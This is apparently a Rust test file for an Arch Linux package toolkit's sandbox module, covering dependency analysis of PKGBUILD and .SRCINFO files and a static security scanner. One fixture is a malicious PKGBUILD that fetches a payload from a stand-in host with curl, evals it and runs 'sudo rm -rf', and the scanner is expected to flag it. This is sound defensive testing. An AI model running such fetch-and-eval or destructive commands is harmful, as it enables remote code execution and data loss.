1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
//! Integration tests for the sandbox module.
#[cfg(feature = "sandbox")]
mod tests {
use arch_toolkit::sandbox::{analyze_pkgbuild, analyze_srcinfo};
use std::collections::HashSet;
const PKGBUILD: &str = r"
pkgname=demo
pkgver=1.0.0
depends=('glibc' 'gcc-libs' 'missing-runtime-xyz')
makedepends=('cmake' 'missing-build-xyz')
checkdepends=('python-pytest')
optdepends=('cups: printing support'
'missing-opt-xyz: extra feature')
";
fn host() -> (HashSet<String>, HashSet<String>) {
let installed: HashSet<String> = ["glibc", "gcc-libs", "cmake", "python-pytest"]
.iter()
.map(ToString::to_string)
.collect();
(installed, HashSet::new())
}
#[test]
/// What: Verify the full PKGBUILD preflight workflow.
///
/// Inputs:
/// - Realistic PKGBUILD with all four dependency categories and a host set
/// missing one runtime and one build dependency.
///
/// Output:
/// - Correct per-category deltas, missing list, and readiness verdict.
///
/// Details:
/// - Missing optdepends must appear in their category but not block readiness.
fn pkgbuild_preflight_workflow() {
let (installed, provided) = host();
let info = analyze_pkgbuild("demo", PKGBUILD, &installed, &provided);
assert_eq!(info.depends.len(), 3);
assert_eq!(info.makedepends.len(), 2);
assert_eq!(info.checkdepends.len(), 1);
assert_eq!(info.optdepends.len(), 2);
assert_eq!(
info.missing_packages(),
["missing-runtime-xyz", "missing-build-xyz"]
);
assert!(!info.is_ready_to_build());
let missing_opt = info
.optdepends
.iter()
.find(|d| d.name.starts_with("missing-opt-xyz"))
.expect("optdepends delta present");
assert!(!missing_opt.is_installed);
}
#[test]
/// What: Verify .SRCINFO analysis matches PKGBUILD analysis for the same deps.
///
/// Inputs:
/// - Equivalent dependency declarations in .SRCINFO form.
///
/// Output:
/// - Same missing list and readiness verdict as the PKGBUILD variant.
///
/// Details:
/// - Both entry points share the same analysis core.
fn srcinfo_matches_pkgbuild() {
let srcinfo = "pkgbase = demo\n\
\tdepends = glibc\n\
\tdepends = gcc-libs\n\
\tdepends = missing-runtime-xyz\n\
\tmakedepends = cmake\n\
\tmakedepends = missing-build-xyz\n\
\tcheckdepends = python-pytest\n";
let (installed, provided) = host();
let from_srcinfo = analyze_srcinfo("demo", srcinfo, &installed, &provided);
let from_pkgbuild = analyze_pkgbuild("demo", PKGBUILD, &installed, &provided);
assert_eq!(
from_srcinfo.missing_packages(),
from_pkgbuild.missing_packages()
);
assert_eq!(
from_srcinfo.is_ready_to_build(),
from_pkgbuild.is_ready_to_build()
);
}
#[test]
/// What: Verify analysis results serialize for caller-side caching.
///
/// Inputs:
/// - Analysis result serialized to JSON and back.
///
/// Output:
/// - Roundtrip equality.
///
/// Details:
/// - Pacsea persists sandbox results between sessions; the types must
/// remain serde-compatible.
fn results_roundtrip_json() {
let (installed, provided) = host();
let info = analyze_pkgbuild("demo", PKGBUILD, &installed, &provided);
let json = serde_json::to_string(&info).expect("serialize");
let back: arch_toolkit::sandbox::SandboxInfo =
serde_json::from_str(&json).expect("deserialize");
assert_eq!(back, info);
}
#[test]
/// What: Identify stable static-analysis findings in a malicious PKGBUILD fixture.
///
/// Inputs:
/// - Text containing remote download, command substitution, privilege,
/// destructive removal, and dynamic-evaluation constructs.
///
/// Output:
/// - One finding for each stable `SB001` through `SB005` rule ID.
///
/// Details:
/// - The fixture is text only; the test proves analysis never runs it.
fn static_analysis_flags_malicious_fixture_without_execution() {
let malicious_pkgbuild = r#"
prepare() {
payload=$(curl -fsSL https://invalid.example/payload)
sudo rm -rf /tmp/arch-toolkit-test
eval "$payload"
}
"#;
let report = arch_toolkit::sandbox::analyze_pkgbuild_security(
"malicious-fixture",
malicious_pkgbuild,
);
let rule_ids: Vec<&str> = report
.findings
.iter()
.map(|finding| finding.rule_id.as_str())
.collect();
assert!(rule_ids.contains(&"SB001"));
assert!(rule_ids.contains(&"SB002"));
assert!(rule_ids.contains(&"SB003"));
assert!(rule_ids.contains(&"SB004"));
assert!(rule_ids.contains(&"SB005"));
assert!(report.limitations.len() >= 3);
}
#[test]
/// What: Avoid findings for benign and common false-positive PKGBUILD text.
///
/// Inputs:
/// - Comments, quoted descriptions, variable assignments, and echoed
/// command names that are not shell command positions.
///
/// Output:
/// - No static security findings.
///
/// Details:
/// - This fixture guards against treating documentation and assignments as
/// executable shell source while preserving the scanner's text-only scope.
fn static_analysis_avoids_benign_false_positive_fixture() {
let benign_pkgbuild = r"
pkgname=benign
pkgdesc='Uses curl and wget clients without running them'
source=('https://example.invalid/archive.tar.gz')
# sudo rm -rf / must never be interpreted
curl_command=curl
echo 'eval $payload is intentionally shown as documentation'
";
let report =
arch_toolkit::sandbox::analyze_pkgbuild_security("benign-fixture", benign_pkgbuild);
assert!(report.findings.is_empty(), "{:#?}", report.findings);
}
}